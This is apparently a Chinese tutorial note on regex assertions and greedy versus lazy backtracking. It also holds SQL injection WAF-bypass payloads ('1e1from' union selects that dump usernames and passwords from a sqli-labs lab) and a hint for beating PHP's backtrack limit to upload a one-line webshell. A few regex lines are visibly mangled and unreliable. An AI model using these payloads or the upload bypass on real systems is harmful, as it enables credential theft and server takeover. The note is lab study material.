正则表达式:断言
断言又有很多中叫法,比如环视,巡视。断言一共又分4种:
xy XZ xa
x(?=y) 匹配'x'仅仅当'x'后面跟着'y' .这种叫做先行肯定断言。
(?<=y)x 匹配'x'仅仅当'x'前面是'y' .这种叫做后行肯定断言。
x(?!y)仅仅当'x'后面不跟着'y'时匹配‘x',这被称为先行否定断言。
也可以翻译成y前面不跟着x匹配成功
(?x'前面不是'y'时匹配'x',这被称为后行否定断言。
断言的使用:
(?=.*[0-9])(?=.*[a-z])(?=.*[A-Z])(?=.*[@#$%^&*\(\.\\\)])(?=^.{5,7}$)
去匹配数字字母大小写特殊符号,并限制长度为5到7位
输入四位匹配不到

输入7位匹配到

正则表达式绕waf案例
首先我们要保证sql注入时from不是一个单词,其次它的语法不能报错,这样才有可能绕过
我们可以用科学记数法的方式绕过
select username,1e1from users;


http://192.168.17.130/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(username,0x3a,password),1e1from users),3--+
http://192.168.17.130/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username,0x3a,password),1e1from users--+
属于贪婪模式的量词,也叫做匹配优先量词,包括:{m,n},{m,},?,* 和 + 。
在匹配优先量词后加上?,即变成属于惰性匹配的量词,也叫做忽略优先量词,包括:{m,n}?,{m,}?,??,*? 和 +? 。
当前前面分支/重复匹配成功后,没有多余的文本可被正则后半部分匹配时,会产生回溯
用一个简单的例子来解释一下贪婪匹配和惰性匹配!
贪婪 : /\d+\b/
惰性 : /d+?\b/
文本 : 1234a
贪婪正则匹配 1234a 时的过程是这样的:
1. \d+ 匹配得到 1234
2. \b 却匹配失败(\b 是分词边界匹配,用来获取位置,而不是文本,上一节有讲到)
4. 这个时候,\d+会尝试回吐一个字符,即匹配结果为 123 ,可\b还是匹配失败!
5. 那就继续回吐,一直到 1,还是匹配失败,那么这个正则就整体匹配失败了
6. 这个回吐匹配结果的过程就是回溯
惰性正则匹配 1234a 时的过程是这样的:
1. \d+? 首先匹配,结果是1 ,紧接着 \b 匹配失败
2. 那就 \d+? 继续匹配,结果是 12 ,紧接着 \b 还是匹配失败
3. \d+? 一直匹配到1234,紧接着的 \b 依然匹配失败
4. 结果整个正则匹配不成功
通过这两个例子的比较,相信你会猜到回溯会影响匹配速度,回溯的过程慢那是相对那些DFA引擎。
而JS的正则引擎是NFA(非确定型有限自动机),匹配慢,编译快。
而PHP是有限制回溯次数的,中文10w,英文100w
这样可以写一个脚本生成100w字符,php一句话上传上去即可